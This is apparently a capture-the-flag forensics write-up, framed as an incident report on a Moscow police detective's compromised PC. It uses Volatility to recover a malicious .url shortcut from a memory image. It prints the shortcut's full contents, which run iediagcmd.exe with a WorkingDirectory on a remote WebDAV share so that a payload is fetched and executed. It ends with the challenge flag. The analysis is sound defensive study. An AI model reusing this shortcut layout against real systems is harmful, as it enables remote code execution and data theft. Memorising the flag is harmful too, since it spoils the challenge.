DFIR REPORT – DNA ANALYSIS PORTAL INCIDENT

1. Case Background

A detective from **Moscow PD, Department 19** reported the disappearance of a critical file related to an ongoing investigation. Prior to the incident, the detective received a message requesting him to review a DNA report via the forensic analysis portal. The message included an attachment containing a link to the portal.

Upon opening the attachment, no visible action occurred, leading the detective to initially dismiss it. However, it was later discovered that a crucial case file had gone missing, prompting suspicion of a potential cyber compromise.

The forensic artifacts from the affected system were provided to the cyber forensics department for analysis.

2. Investigation Objective

The objectives of this investigation were to determine:

- The filename of the malicious attachment
- The IP address from which the malicious payload was executed
- The vulnerability (CVE) exploited by the attacker

3. Evidence Acquisition

The primary forensic artifact provided for analysis was a **Windows memory image**:

- **File:** `ophelia.raw`

Memory analysis was conducted using **Volatility Framework (vol.py)** to identify malicious artifacts and execution behavior.

4. File System Analysis

Given the scenario described, attention was directed toward **Windows shortcut and URL files**, as these are commonly abused to masquerade malicious execution as benign links.A memory scan was performed to locate suspicious files:

```
python vol.py -f ophelia.raw windows.filescan.FileScan | grep dna
```

Findings:

```
0xc50d0c562a90.0\Users\Igor\Documents\Important
Links\dna_analysis_portal.url
```

This revealed a suspicious `.url` file located in the user's **Documents** directory, matching the description of the attachment received by the detective.

5. File Extraction and Content Analysis

The identified `.url` file was extracted from memory using its virtual address:

```
python vol.py -f ophelia.raw windows.dumpfiles.DumpFiles --
virtaddr=0xc50d0c562a90
```

Although Volatility reported an error during dumping, the file contents were successfully recovered.

Extracted File Contents:

```
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\10.72.5.205\webdav\\
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D
```

6. Malicious Behavior Analysis

At first glance, the file appears to be a standard Internet Shortcut. However, closer inspection reveals multiple anomalies:

- The **URL field does not point to a web address**, but instead to a **local system binary** (`iediagcmd.exe`)
- The **WorkingDirectory** is redirected to a **remote UNC path** hosted on:

`\\10.72.5.205\webdav\`

- The icon and naming conventions are crafted to appear legitimate

Execution Flow:

1. The user opens `dna_analysis_portal.url`
2. Windows executes `iediagcmd.exe` (a legitimate Internet Explorer diagnostic binary)
3. `iediagcmd.exe` attempts to launch a secondary executable (`route.exe`)
4. Due to the manipulated WorkingDirectory, Windows retrieves `route.exe` from the attacker's **WebDAV server**
5. The malicious executable is executed from the remote host

This behavior directly explains how a crucial file could be accessed, modified, or removed without visible user interaction.

7. Exploited Vulnerability

The attack technique observed matches the exploitation of:

CVE-2025-33053

This vulnerability allows attackers to abuse **Windows Internet Shortcut (.url) files** to hijack execution flow by redirecting helper binaries to attacker-controlled remote directories (e.g., WebDAV shares).

8. Indicators of Compromise (IOCs)

Indicator Type	Value
Malicious File	`dna_analysis_portal.url`
Remote IP	`10.72.5.205`
Protocol	WebDAV
Exploited Binary	`iediagcmd.exe`
CVE	CVE-2025-33053

9. Conclusion

The investigation confirms that the detective's system was compromised through a **malicious Internet Shortcut (.url) file** disguised as a legitimate forensic portal link. The file exploited **CVE-2025-33053**, allowing execution of a malicious payload hosted on a remote WebDAV server at **10.72.5.205**.

This attack vector explains the silent execution observed by the user and accounts for the disappearance of sensitive case files.

10. Final Flag

`nite{dna_analysis_portal.url_10.72.5.205_CVE-2025-33053}`